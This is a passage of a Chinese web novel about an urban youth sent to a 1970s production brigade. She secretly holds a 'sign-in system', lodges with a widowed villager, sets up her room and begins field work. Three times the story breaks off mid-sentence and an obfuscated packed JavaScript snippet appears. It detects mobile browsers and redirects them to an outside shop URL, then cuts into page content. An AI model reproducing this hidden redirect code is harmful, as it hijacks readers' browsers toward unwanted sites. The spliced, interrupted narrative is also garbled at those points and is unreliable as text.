“是啊牛队长,去年冬天咱们知青病了几回你可是晓得的,咱们大队生产任务重,冬天也是要下地的……” 牛队长脸色不好看,盯了一眼起头的林见春,就问李俏俏要怎么办。 李俏俏面露为难。 她是知青点的负责人之一,最是清楚知青里头哪些能干,哪些爱偷奸,可平时大家都秉承多一事不如少一事的原则,能忍的基本都往肚里咽了。 可现在既然开了头,不管怎么解决牛队长都会不高兴,倒不如趁此机会把事情摊开了说,免得吐一半再吞一半回去白恶心人。 “牛队长,不行给我们批块地,再建几个屋子吧。” “不行!” 大队批地不是小事,虽然公社那头不见得会管,可这些知青每一个都念着回城,就算批了地给他们建房子也留不下,他又何必费那口舌去帮他们给社员说? 李俏俏知道批地的事儿没那么简单,心中遗憾,但也顺势退了一步。 “那不然我们去社员家里借住?也请队长放心,我们只借住,平时还是自己开火,不会叫大家多费心。” 至于那些愿意花钱请社员帮忙的,那就看各人怎么说,社员怎么办了。 她这一退,牛队长的面色果然稍稍缓和。 其实东旺大队的知青还算好,这要换作其他大队,早不知有多少知青跟大队的青年结婚留村了。 他们东旺大队平时有李俏俏看着,少有那等把注意打到社员身上的,所以她提借住,牛队长也实实在在地往心里去了。 林见春没想到自己坦白一嘴还能白捡到这种便宜占,顿时期待地看向牛队长。 男知青那边也有不少人期待可以去社员家里搭伙。 知青点的条件实在太差,平时还好,一到冬天才是哪儿哪儿都透风,每天下工回来天都黢黑,还要分成三组排队开火,等真吃上饭时大部分人都已经饿得心头发慌了。 如果能去社员家里借住,到时候贴点儿公分求人帮忙,肯定能比在知青点过得轻松,到时候真要开点小灶也能避开…… 知青虽然干活不如社员,可真病倒一堆也是麻烦。 牛队长想想觉得可行,索性点了头。 “光我同意也不算数,大队就那么几十户人,有空屋的还是少数,你们乐意去借住就自己去问,人不愿意你们就老实住知青点。” 得了首肯,知青群里顿时爆发出一阵热情。 下乡的知青,到底都是没怎么吃过苦的城里人啊。 牛队长心中感叹,又看了林见春一眼,这才扭头离开了知青点。 8. 借住 女知青这边本就商量好了让新来的知青先蹭一顿饭,所以哪怕心里着急去找相熟的社员说借住的事,也热情地招呼着林见春和冯悦先吃饭再说。 林见春喜得跟李俏俏交好,拉了一把还有些愣怔的冯悦,一路跟着李俏俏进了属于女知青的屋,爽快地拿了兜里剩下的糖来,又借着遮掩取了一些,按人头给9个女知青一人分了1颗奶糖和2颗硬糖。 虽然不喜林见春的作风,但伸手不打笑脸人,几个女知青对林见春的态度都好了不少。 冯悦没想到还有自己的份,脸上有些发热,可大家都收了,她不收倒显得她离群,所以只红着脸道了谢,又悄悄地碰了碰林见春的肩膀。 十个人围坐在一张小桌前吃饭,有些拥挤,但氛围很好,饭间先自我介绍了一下,之后便忍不住说起了话来。 “咱们大队的人都挺正派的,哪怕后山山脚下的牛棚,也基本没混子过去欺负人。” “是啊,牛队长很公正,对我们这些知青也好,平时干活都让我们跟社员结对,不会让我们自己去瞎琢磨活该怎么干。” “对,我们大队的知青没有一个跟这儿的社员结婚的,我听说隔壁山橛子大队有8个知青跟村里人结了婚,还被逼着扯了结婚证,以后怕是得待在村里回不得城了。” “……哪有8个那么多?” “哎呀,不管几个,反正咱们大队是一个也没有的。” “那是你不知道,就隔壁那个谁,我可是看见他跟刘村长的闺女有说有笑的,咱大队的婶子阿婆哪一个不知道他俩那事儿?” “你可真是个包打听。那她们都晓得,怎么不叫他们结婚?” “刘村长不愿意呗!而且俏俏管我们管得严,李春景也有样学样,不许那谁跟村里人结婚,不然早成事儿了。哦不是,我不是说俏俏你对我们不好哈!” “……我知道。” “啥?他还管得住人家谈对象啊?” “还不是念着他是首都来的……哎呀,俏俏,我这话可没要点你的意思哈!” “……我知道。” 林见春看得出来这几个女知青感情还不错,说话没把门儿的是真缺心眼但没坏心思,李俏俏也是个不爱计较的,不然女知青这边不可能这么和谐。 正想着,就听那缺心眼的武琪点她名。 “林知青,你真是省城来的吗?你皮肤可真好,是高中毕业被分派下来的吗?” 来处没什么好隐瞒,林见春索性摊开了讲明。 “我是县城来的,今年刚高中毕业,而且我只是家里的养女,也不是什么大家庭出来的,只是爸妈平时对我很好,家里的哥哥也不让我动手干活。” “哇!那你家里是对你挺好啊!那你亲生父母呢?” 林见春心叹这武琪真是缺心眼缺到没边了,不过看其他女知青也支棱着耳朵,索性全说了。 “我爸是烈士,在我2岁时出任务牺牲了,我养父母是我爸战友,放心不下我,这才把我带到身边养着。” “额……那什么……” 武琪闭了嘴,李俏俏也是无奈,赶紧接过话头转移。 “时间还早,碗放着一会儿回来再洗,我们先去隔壁问下男知青怎么安排的,如果他们去借住的人也多,那我们完全可以把现有的两间屋保留,不必全去老乡家借住。” 社员家里的房子都是人力物力堆起来的,没理由叫他们白住,所以这借助指定得付出,只是多少还未可知,等去问过才好做打算。 有了计划,大家也就止住了话头,三两口吃完饭,结伴去敲了男知青那边的门。 男知青吃饭没那么多讲究,这会儿早吃完了凑在一起商量借住的事。 还是那句话,没得房子让他们白住,所以他们商量的是怎么把代价压到最低。 见李俏俏带了女知青过来,李春景一脸兴然地告知他们这边商量的结果。 “我们是这么想的,知青第一年每个月的补贴就20斤粗粮、5斤细粮,我们这些老知青有公分在手倒是不怕,但新知青第一年可全靠这点补贴过活了,所以最好统一一下口径,别让社员把价喊得太高了,不然吃不饱也没力气干活。” 李俏俏跟李春景也已经相处一年有余了,一听他这话就知道他打的什么主意。 不过她没上脸,只平静地问:“那你们商量的价是?” “就每个月5斤粗粮吧,我们只是借住社员的本就空置的屋子,给太多的话反而让其他社员眼红。” 他想的是真美啊! 城里都吃供应粮,粮食紧缺的时候粗粮也难买,但这乡里乡间的谁家没几分粗粮收成?哪怕细粮全种了上交,那家里留下的粗粮也足够自家吃了,拿人家不缺的东西去当借住的报酬,也亏他们想得出来! 李俏俏“呵”了一声,“那你们去谈吧,我们有别的打算。” 李春景脸色顿时一变,可惜在场的女知青,老的都听李俏俏的话,新来的一个林见春不给他面子,一个冯悦也是没主见的,谁管他? 商量没个结果,女知青这边都低眉顺眼地跟着李俏俏走了。 走出几丈远,李俏俏才平和地说了自己的想法。 “咱们也不说虚话。我知道知青里头咱们几个都是手头比较宽裕的,也各有家人补贴,东旺大队的社员虽说过得不算贫苦,可真想攒钱是真难,所以我是打算每个月出2块钱,再交些粮,这样住在老乡家里也心安。” 细粮就是大米、小麦面粉这类精粮。 市面上大米1毛2一斤,面粉1毛4一斤,算上票价,顶多也只能卖到1毛6和1毛8,换算下来一个月2块钱也才十来斤细粮。 女知青这边的确给得起这个价,纷纷表示赞同,不过大家也要考虑之后的口粮,所以各自在心头计较。 林见春却想到了别的。 她手里有一个“签到系统”,平时不缺细粮,与其承担风险把粮换成钱再拿现钱给社员,倒不如看看哪家愿意吃细粮,她直接拿现成的米面作租子。 这么想着,林见春也就直接跟李俏俏坦白了。 不过也不能把事儿往爸妈身上扯,林见春只能扯了三哥这张旗遮掩。 “我家三哥有些路子,所以细粮我是不缺吃的,倒是现钱我不太好意思问爸妈要……李知青,你看我用等价的细粮合适吗?” 细粮在城里头也是有份额限制的,所以对于他们这些知青而言,拿钱其实比拿粮更趁手。 但前头林见春就说了自己只是家里的养女,的确不好问家里要钱,直接给粮也是没法子的事。 “可以,我提的定量只是我自己的底线,每家的条件肯定不同,所以我们借住需要付出的也肯定是不同的。” “那就好。” 商量好,李俏俏顺便说了下大队的情况。 东旺大队一共46户,有8户是军属,还有3户找了关系送了子女到东湖大队的皂厂做工,所以这11户人家都是他们可以借住的目标。 但东旺大队的社员也不都是爽快的,林见春和冯悦刚来,队里的情况无从了解,所以她也直接明说了哪些人家去不得。 “吴二财是独居,家里房子是最近几年才建的,条件还不错,但家里儿子都去当兵了,咱们又是女同志,住过去不方便。” “徐三婶独自带着一个才两三岁的小孙孙,家里的男人儿子全都牺牲了,早些年很吃了些苦头,所以性子有点左,平时说话不中听,哪怕是同大队的也不太愿意跟她往来。” “于老太家,老太太人还不错,但底下几个媳妇儿不太好相处,家里人口也多,如果一个人住过去容易吃暗亏,如果实在没得选,去她家借住也最好两个人搭伴儿。” 8户军属除了两户,3户厂工也去了其一。 男知青那边还不清楚有几个出来借住的,剩下8户不可能全让女知青这边占了。 林见春是确定要出来的住的,李俏俏明显也有打算,其他知青就有些犹豫了,包括冯悦也是不敢一个人,又想住起来松快。 “你们愿意跟我一起搭伴儿住于老太家吗……” 李俏俏看了冯悦一眼,没搭腔,其他知青也沉默,只过了一会儿,其中一个圆脸的知青遗憾地摇了摇头。 “老太太家那情况实在不好凑合,住过去还不如在知青点自在。” 冯悦耷拉着肩,咬着下唇不说话了。 几个女知青满心心事的走了一段路,最后决定借住老乡家里的竟然只有林见春和李俏俏两个。 “……也好,知青点刚好可以一间屋住4个,我和林知青住外面,冯知青正好住我之前的位置。只是我不在知青点住,也不好再管着你们,要么你们再举荐一下,或者有事找李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993320|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春景。” “我们回去再商量。” “行。” 做好决定,十个人就分两路走了。 李俏俏心头有成算,也早想好了要去哪家,给林见春说了声,推荐她去比较好相处的人家。 林见春还得顾及自己的秘密。 “签到系统”属实超然,如果借住的人家人口太多,势必会有不查遗漏,到时候被人闹到人前,估计她也活不下去了,这样一看,与所有人都不太往来的徐三婶倒成了最优选。 “徐三婶家里一个亲戚都没有吗?” 李俏俏有些惊讶,不过还是如实说了。 “反正我下乡这几年是一次也没见过。” 主家没有人情往来,她暴露的概率就小,林见春暗觉满意,又借势摸了一把硬糖塞给李俏俏,“谢谢李知青跟我说这些。” 一把硬糖少说也有十几颗,李俏俏犹豫了一下,想着这东西紧俏,到底是收下了。 “多谢。只是徐三婶家的话,一个月2块她恐怕不会答应。” “没事,我还有别的打算,先问过再说。” “也行。” 说来说去再多的感谢也说不完,李俏俏直接带着林见春走了一趟,正好也把大队长和村长的住址也说了声。 “平时大队生产的事儿都归牛队长管,其他涉及社员矛盾的还得吴村长出面才行。还有就是大队的赤脚大夫,那是吴家一脉的,只会清创止血,伤风感冒也不见得能看好,如果真不舒服,你可以直接去村尾牛棚找里头的程大夫,她虽然拿不出药,却能开对症的方子,只要上山采摘自己按剂量熬煮就行。” 是人就免不了生病,李俏俏说这个确实实用。 林见春默默记下,一路跟着李俏俏找到了徐三婶家。 徐三婶家的房子是长三间的瓦房,可见男人孩子没牺牲前也是过得很不错的,也难怪经受打击之后性子左了。 李俏俏带着林见春走到了长三间左侧的那间屋门口,示意她来敲门,等了会儿没动静,又敲,如此反复四回,屋里总算有了趿拉着鞋走路的声音。 但门没开。 “谁?” 徐三婶的声音有些干哑,带着就不开口的涩感,林见春心头一顿,看了李俏俏一眼,见她使眼色叫自己开口,也就放缓了声音自己跟徐三婶说话。 “婶子,我是今天刚分派过来的知青林见春,知青点住不下了,牛队长让我们自己想法找老乡借住,我问其他知青同志了解了情况,想着先过来问问婶子的意思。” “我这儿不住外人。” “婶子,我是个好静的,是真觉着婶子这边清净才想着过来问婶子借住。” “……” 屋里的人没理会林见春的自说自话。 林见春只好继续说。 “我爸妈疼我,打小把我当亲闺女养,是一点儿苦没叫我吃过,就是我三哥也乐意贴补我,说是每个月都给我寄米面来,公分能挣多少是多少,有精神种地还不如省点力气多看看书。我还不会做饭,真要自己做估计也是做不熟的,反倒浪费粮食,婶子这边清净、事儿少,我想厚着脸皮求婶子让我蹭口饭吃。当然也不白吃,我三哥贴补我的都是细粮,到时候婶子只管跟我一起吃。” “婶子,我也觉得多读书更好,不想卖力吃苦,可惜也不知道什么时候才能有机会去读大学,你就让我借住吧,我不闹事不作妖,等你家小孙孙长大点儿,我还能在家教他认字念书。” 不知道是细粮的触动还是认字念书的诱惑,长三间的屋门在一阵沉默后终于还是被林见春敲开了。 徐三婶是圆脸骨,可日子过得苦,心情也时常郁郁,看起来有些瘦骨嶙峋的感觉。 不过她这面相看起来并不尖酸,想来为人也不算太苛刻。 她看到林见春,瞬间就信了她没过过苦日子的说法,眼神一淡,垂着眼问她:“你短期内不打算回城?” “这一两年是不打算回城的。” “那成,你搬过来住,我也不要你多的,只要每个月给我5斤米3斤细面就行。” 林见春心知这个量的细粮怕是给她家小孙孙要的,心里酸涩,坚定地摇了摇头,“一起吃吧,我是真不会做饭,还得婶子费心让我蹭一口热饭吃,到时候婶子出自家种的菜,我出米面。” “……成。” 9. 上工 搞定住处,林见春立马谢过李俏俏只身前往知青点取自己的东西。 因为之前住处还没落实,她的包来时什么样现在就是什么样,女知青这边也没人没脸皮的动她的东西,只临了离开时,冯悦有些失落地凑了上来送她。 “你去的那家在哪儿呀?我有空就过去看你。” 想到徐三婶的性子,林见春还真不确定她乐不乐意别的人上门,毕竟她刚说了自己喜静,去她家借住也是为了清净,结果转头就有人去家找她,那不是自打自脸,反叫徐三婶厌烦吗? 林见春面带歉意,直说自己借住在徐三婶家。 “刚刚李知青说的你也听了,徐三婶喜静,我们过去之后也求了好一会儿她才点头让我借住,我实在不好在她家招待朋友。” “朋友”这个词到底安慰到了冯悦,所以哪怕遗憾,冯悦也顺从地点了点头,“那我们上工的时候我再找你说话。” “好。” 没人牵绊,林见春就独身一人搬到了长三间右侧的那间屋子。 虽说徐三婶平时带着孙子住一间屋,可房子里其他地方也都打扫得干干净净。 给她借住的这间屋床板上铺了厚实的草席,只要再铺个席子或者搭个床单就能当床褥子用,屋里甚至还有看起来半新的柜子和桌子,不管收纳还是放置物品都很方便。 林见春喜欢得不得了,而且她还是第一次见这种厚草席,本想从徐三婶这儿打听下是谁做的,可刚一提,徐三婶就直言她可以将就这一床草席用着,林见春也没推辞,当即从包里拿出鸡蛋交给徐三婶。 “这鸡蛋婶子每天早上煮3个,等吃完我再想办法换。” 徐三婶可没见过谁家鸡蛋这么个吃法,皱起眉就批林见春浪费,“一天一个鸡蛋都不得了了,你一个小姑娘瘦瘦小小的,能一气吃下三个?” 林见春知道徐三婶误会了,只能解释说他们仨一人吃一个。 徐三婶:“……我不吃。小宝人小,也吃不完一个。” “那白水鸡蛋又不能敲碎了煮……那就每天煮两个,婶子和小宝分吃一个。” 徐三婶想说鸡蛋打碎了冲蛋花也是一样吃,可林见春脸上的表情不似开玩笑,她张了张嘴,到底没有拒绝。 鸡蛋给了,林见春顺便也把其他东西一起拿了出来。 “我下乡前爸妈就替我打算好了,这里是先带过来的5斤米、2斤盐、2斤面、1斤油、1斤白糖,婶子你看看怎么安排,我一天能吃三两米,面食的话一顿一个白面馒头就能饱。明天我要给家里写信报平安,告诉他们在婶子家借住的事,到时候爸妈给我寄被子和冬衣,我三哥估计还会给我顺一点米面过来,之后每个月也会按时给我寄。” 徐三婶表情复杂,憋了半天,还是没忍住,“你家里对你是真好……” 从没见过谁家闺女这么吃的。 林见春只笑,回屋把床单被套和自己的席子铺好,又取了衣服放进柜子,再把换洗的鞋塞到床底下,暖水瓶、搪瓷杯、2个搪瓷碗、2双筷子取出来摆好,想了想,把碗和筷子放一边,重新摆了1支铅笔、1个本子和那套书,这才舒展笑容欣赏了起来。 也不比在家住着差了。 这年头碗筷也是穷家之财,林见春要蹭饭吃,干脆多拿了一个碗,又把筷子全部从“背包”取出,一股脑端出屋子放到堂屋的桌子上。 徐三婶看她连筷子都从家里带也是没言语了,再一看搪瓷碗是新的,林见春一下拿出来三个,心想也不知道养她的那家人是有多厚的家底。 “你真只是家里的养女?” “是啊,我亲爸在我2岁时就牺牲了,没多久亲妈也跟着走了,爸妈听说之后放心不下我,就把我接到身边精心照顾抚养长大。” “……那你爸妈心肠挺好。” “我爸妈是最好的爸妈,哥哥是最好的哥哥,嫂子也疼我,什么都替我考虑。” 徐三婶的表情有些落寞,但也没有因为林见春炫耀式的说法生出怨怼。 林见春哪儿能不明白这婶子是个面苦心甜的,又想到李俏俏的说法,不禁替徐三婶叹惋。 夸她爸妈心肠好,她自己又何尝不是个好心人呢。 徐三婶还在沉默,林见春却嘻嘻一笑,点了点几个碗和筷子。 “三个新碗咱们仨刚好一人一个,这碗比土陶碗好洗,不容易留油在上头。” “……” 徐三婶带着孙子时常吃得清淡,炒菜少有用油的时候,可多的东西她都收了,总不能不拿出来做给林见春吃,再用这碗筷好似也不是个什么事儿了。 只是,该劝的她也憋不住。 “这些东西别拿出去说。” 林见春明白,乖巧地点了点头。 “婶子,一会儿我能用点柴烧点水吗?今天在火车上待了好几个小时,又坐了客车,走了远路,想洗洗,顺便灌点开水方便晚上喝。” “你会烧吗?” 林见春沉默。 徐三婶快气笑了,把小宝往堂屋的长凳上一摁,“盯着小宝,我给你烧去。” “谢谢婶子。” 小宝乖得不行,林见春盯着他看,他也眼睛圆鼓鼓的追随她的视线,林见春笑,他也龇着牙回笑。 林见春没带过这么小的孩子,也不知道能不能吃糖,怕他呛着,想了想干脆拿了颗奶糖,自己捏住一头,另一头塞他嘴边叫他吃。 “小宝,用门牙咬小块。” 小宝没吃过糖,听话地用门牙去磨,等口水沾湿奶糖尝到了甜味,瞬间瞪大了眼睛。 “吃!好吃!” “这叫甜,跟姨说,甜——” “潭~” 林见春被逗得直笑,又教了几遍,小宝可算发对了音。 等徐三婶烧完水回堂屋,小宝已经吃了一小半块儿奶糖。 她第一眼还没看清,等闻到一股甜腻腻的奶味才确定那是一颗能卖好几分钱的奶糖。 徐三婶脸色一黑,声音难掩厉色,“做什么给小宝吃糖?” “小宝还不知道什么是甜滋味,让他多尝尝,以后自然就知道什么才是好的了。” 徐三婶脸色更沉了,“知道什么东西好有什么用!” “可不知道什么东西算好,小宝又哪儿来的动力学字念书呢?” “……”徐三婶抿着嘴,黑沉的眸色许久才恢复了本状,“你说得对,见识了好,才知道拼命去够。水烧好了,你自己去灌,水房在屋后头,你要冲洗就去水房,灶间有没用过的新桶,里头装了半桶冷水,你应该拎得动。” “那我先过去了,婶子你来喂小宝吃。” “……”徐三婶接过糖就裹回了纸包,“今天吃过了,等两天再给他吃剩下的。” 林见春有些无奈。 她现在一共也就32颗奶糖了,不太经得住耗,也不知道什么时候才能获取新的奶糖,这段时间还是先省着点儿吃吧。 不过硬糖倒是还有三百来颗,林见春把散的几颗拿给徐三婶,留了6袋没动。 “我冲洗去啦。” 徐三婶烧了一大锅水,林见春过去灌水时水还在锅里“咕噜咕噜”的滚,拿了水瓢小心灌满了暖水瓶,才往装了半桶冷水的桶里慢慢掺,试好了水温才一气拎到了屋后的水房。 徐三婶是个爱干净的,家里上上下下都干净得不行,林见春用过水房也不好意思不管,手脚麻利的把多余的水扫到暗沟里,又收拾了一通,这才拎着空桶回了前头。 小孩儿禁不住夜,这会儿徐三婶已经在哄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993321|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小宝睡觉了。 林见春听着动静也就没去打扰,索性回了屋坐在床上琢磨怎么写给家里的信。 东旺大队的情况远比她最初所想的好,这得详细写明好叫家里安心,再就是一些家常的小话,写得再多她也觉得不够。 边写边想,不知不觉就写了洋洋洒洒的三大篇。 林见春捏着纸笔鼻尖泛酸,一人独处下,终究还是没忍住哭了出来,也不知道什么时候哭着哭着就睡了过去。 一觉醒来,天已经大亮。 林见春迷迷蒙蒙地听到屋外有声音,愣了一会儿才反应过来这是东旺大队徐三婶的家里,怅然地叹了一口气,耷拉着眉眼从床上爬了起来。 不过很快,她这心情就被徐三婶熬好的红薯粥彻底治愈。 “婶子!你连煮粥都这么好吃!” “少贫嘴,赶紧吃,一会儿要去地里除草。” 7、8月农事不多,但除草灌水是紧要任务,但生产大队申请不到多少农药和抽水机,所以除草得用人力,灌水也得靠人工担运。 林见春没做过农活,对人力除草和灌水实在没什么概念,徐三婶一看她这表情就来气,翻了个白眼,只问她什么都带了,那有没有带手套。 “……” 林见春能带就怪了,别说她,就是爸妈和三哥也没想到这一出。 徐三婶气笑,“屋后头有劳保手套,用过的,不嫌弃就自个儿拿了暂时先用上。” “……谢谢婶子。” 吃过早饭,上工铃也响了。 徐三婶领着两个烈士的津贴,又带着一个娃,平时除了农忙赶工,轻易不会去田间地头干活,林见春只能拿了手套自己顺着声音找去地里,等看到牛队长和一群集合的知青,这才加快脚步小跑过去。 昨晚安顿下来,李俏俏和李春景都已经统计了借住的知青报给牛队长,所以见林见春一个人过来,牛队长也没多嘴问,只人一齐就叫上计分员开始分派任务。 知青的手脚少有能比上土生土长的社员的,为了不叫新来的知青碍事,牛队长直接给知青这边单分了两块地。 “今天的任务就是给这两块地除草、灌水,男知青力气大些,先负责挑水,女知青这边就先除草。” 农具有限,自然先紧着社员用,知青只能纯用手,慢些也就慢些了。 牛队长和计分员一走,知青这边就按分工开始动了。 好歹吃了林见春的糖,李俏俏就叫上她先跟着自己学。 林见春还不至于连拔草都不会,所以李俏俏教她的都是如何省力,试过几次之后果然觉得轻省了不少。 “多亏你了李知青。” “小事,在徐三婶家住得如何?” “挺好的呀,早上起床就有得吃,比我三哥做得还香。” 徐三婶做饭火候掌控得好,三哥却是纯靠菜色和花样,反正对于林见春来说也是各有各的好吧~ “那是挺好。新知青下乡前三天需要适应大队生活,第四天就可以歇了,到时候你可以去公社寄信回家报平安,也能看看还有什么缺,到公社供销社置办。” 林见春没什么缺的,不过信肯定得寄,还得找机会再从“背包”取些东西出来过明路,所以这一趟她是必须得走的。 “大队有车往公社去吗?” 她也不是怕走路,只是天气太热,回来时还得大包小包的拎着,有车可以蹭还能省点力气。 李俏俏一脸“你想什么好事”的表情,“牛车只有紧要时才会拉人,你要是真不想走路,可以拿点东西去吴村长家试试借车,他家有一辆自行车。” 自行车属于大件,城里能置办的都不多,没想到村长家竟舍得花着钱。 “好,到时候我去村长家问问。” 10. 心想事成 顶着太阳拔了几个小时草,林见春已经累得手脚都不听使唤了,更难受的是她的腰,光直起来就酸得她哆嗦。 不过她这动静也从计分员那儿讨了个好脸,估计这一天下来的公分不会太少。 “中午回去歇会儿,下午三点接着干。” 林见春简直想哭,倒是冯悦这个同一批分派的知青只是稍微有些难受,完全没到她这种程度。 李俏俏觉得好笑,“你在家是真一点儿活也不干?” “真的啊,家里连做饭都是我爸或者我哥。” “也不知道该不该羡慕你。” “……” 林见春无言以对,跟个没揉出筋的面人儿似的一路晃悠着回了徐三婶家。 徐三婶是看着工点做饭的。 鉴于这姑娘开口就是一顿几两米、多少面,徐三婶直接混着红薯给蒸了一锅干饭,林见春很少这么吃,饭一入口倒觉得比白米饭吃着更香。 小宝也自己吃,只是他碗里更多的是红薯,米饭只有他拳头一半儿,徐三婶碗里更少,也不知道够不够吃。 但这事儿不好劝说,她手里的米面是白捡的,徐三婶却没法做到心无负担的造她的米面,所以只看了一眼,林见春就收起了视线,埋头苦吃。 配饭的是干煸茄子,徐三婶放了油,虽不多,吃起来却很香,林见春很快就配着菜把饭吃完,嘴一抹,又惦记着找机会把“背包”里的肉拿出来让徐三婶做了尝尝滋味。 “对了婶子,我等两天要去公社给家寄信,李知青说可以去吴村长家借自行车,但我也不好意思空着手去,你帮我盘算盘算,看我是带点儿糖去还是怎么着?” 东旺大队转成公社生产队之前就叫吴家村,村里大半人口都是吴姓,往上推上五、六代,那是八竿子打不着一个外来的。 徐三婶牺牲的男人也是吴家村的一支,算起来还是吴村长一支没出五服的亲戚,所以对吴村长一家的作风也算了解。 “就带糖吧……昨天拿的那白糖包个二两就成,其他的东西别拿出去显。” 糖这东西家家户户都稀罕,徐三婶开口让带二两,一是知晓吴村长家比较贪,二来是为了让林见春在吴村长那边打个眼,以后有什么事儿也能想到她。 林见春眼下也不清楚徐三婶的好心,只默默换算了一下白糖的价钱,心中对吴村长家有了初步的印象。 “那我今晚过去问问吴村长。” 正好她今天还没“签到”,过去再试试,万一能获取什么好东西呢? 也是没法,东旺大队的老乡都过得没那么滋润,她估计着要在徐三婶“签到”多半只能得些土豆、红薯的,婶子家又不缺这些,倒不如每天抽时间去“富户”家外头试试。 下午三点才上工,吃过饭林见春就窝进屋里看书去了。 可身体实在疲倦,哪怕她看得入迷精神也是不济,结果刚躺没多久,屋门就被拍得“啪啪”作响,迷瞪瞪醒过来,就听徐三婶提醒她上工铃响了。 “……” 林见春又想哭了。 上工是必须上工的,只她意识到没有钟表实在不方便计划时间,默默盘算了一下手头可用的资源,想着干脆先挪点钱买块手表算了。 不过这事儿也急不得,手表要票,这东西过于稀罕,一时半会儿的也换不到。 相比上午,下午这工让林见春更加难受。 不仅身上不舒坦,两只手也被磨得生疼,要不是顾念晚上得去吴村长家,牛队长放大伙儿下工时她都恨不得飞回家去躺下。 其他知青也没比林见春好到哪儿去。 7、8月的天本来就热,挑水和拔草都是需要来回的活,前者肩颈疼,后者腰手疼,只是老知青好歹已经适应过乡里的劳作强度,新知青却是完全从头开始,连男知青也一时受不住重压当众哭了起来。 “好了,总有一个适应的过程,过段时间就好了。” “是呀,你们来之前我们才刚收了土豆,那多累你们是没见着,可比除草灌水累得多。” 冯悦是见过家里老人种地的,对农活的范畴有一定的了解,当即问其他知青,“今年大队申请到化肥了吗?” 其他知青没想到冯悦还懂这个,惊讶了一下,也是如实说了。 “整个公社的化肥指标就那么点儿,分摊下来一个大队也就那么几包,可你们也看见了,整个大队那么多田地,几包化肥够支应什么?等灌完水,大队就该安排我们协助追肥了。” “……” 崩溃! 这些知青没说的是,牛队长根本不信知青能把地种好,所以“协助追肥”只是安排他们排沟清渍,顶多让看到栽倒的秧苗伸手扶一扶,做起来可比锄草、灌水轻松得多。 生无可恋地回了徐三婶家,闻着土豆炖茄子的香味林见春才仿佛活了过来。 徐三婶节省惯了,不可能一天三顿做大干饭吃,所以今天晚上吃的是杂粮饼和炖菜。 林见春累得不行,一口饼一口菜吃得喷香,直到打了个饱嗝才心满意足。 实际上她很想往床上躺,只是一身臭汗,还沾着土,往床上躺了她还得抽空洗床单,那可就更累了。 林见春叹了口气,“今天麻烦婶子了,我先去一趟吴村长家。” “去吧。” 吴村长家的房子很显眼,林见春过去时他们家也刚吃过饭,一家子十来口人有四五个汉子都坐在院里头剔牙,一看就是今晚吃了大肉。 不过林见春也只当看不懂,敲了敲院门,对着汉子中间那个抽着旱烟的精瘦老头打了个招呼。 “是吴村长吧?我有点事儿想托您帮个忙。” 吴村长抬眼看了林见春一下又继续垂下眼拨弄烟丝,“有事儿找大队长去,我这儿管不了知青。” 林见春没觉得受挫,抬手扬了下徐三婶帮她包的白糖糖包,“我是想大后天借用一下村长家的自行车,昨天从家里走得急,真到晚上要用才发现还有好些东西没齐全,得去一趟公社置办,还得给家里寄信报平安。” 小小的油纸包看不出来原状,不过这一天下来,知青在村头借住的事儿可瞒不住吴村长,自然,林见春住徐三婶家的事他也清楚。 虽说徐三婶家人差不多死绝了,但好歹也是没出五服的亲戚,吴村长还是认这点儿人情的,所以不管这纸包里头是什么,他都给边上的儿子使了个眼色,叫他到院门口把东西收下。 “我们家的车是28大杠,你这身板怕是不好骑。” “主要是载东西用,不好骑我就扶着走。” “成,后天下了工就过来把车骑走,到时候早去早回,我们那几天也要用车。” “谢谢村长!” 林见春识趣的走了,等离远了些,她才放大方屏看了眼刚才“签到”获取的物品。 没想到竟然是一块手表! 难不成这就是心想事成么?! 林见春屏着呼吸仔细看,这才发现手表是男款的,这倒不好叫她直接拿出来戴了。 林见春叹了一口气,把手表反复看了看,确定这次获取的依旧是崭新的,才遗憾地把手表收了进了格子,盘算着去了公社找个地方把它换成女款的。 莫名省了一大笔,林见春喜滋滋地回了徐三婶家。 徐三婶看她高兴就知道事情成了,拉着小宝回屋,只留了一句“锅里烧着热水”。 林见春大声道谢,费劲巴拉地拎了水去水房冲洗,等一身干爽的回了屋,倒头沾床就睡了过去。 接连三天的劳作让林见春觉得自己整个身体都是麻木的,徐三婶知道她累了三天,这天早上也就没叫她起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993322|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然,早饭也是没做她的,所以林见春直接拿了盒饼干出来,吃过两块垫吧,就把饼干盒放在了外头。 这种饼干是酥饼,一盒有半斤之多,林见春实际上并不怎么喜欢吃这种干巴巴的东西,拿出来放着也是想让徐三婶和小宝尝尝味。 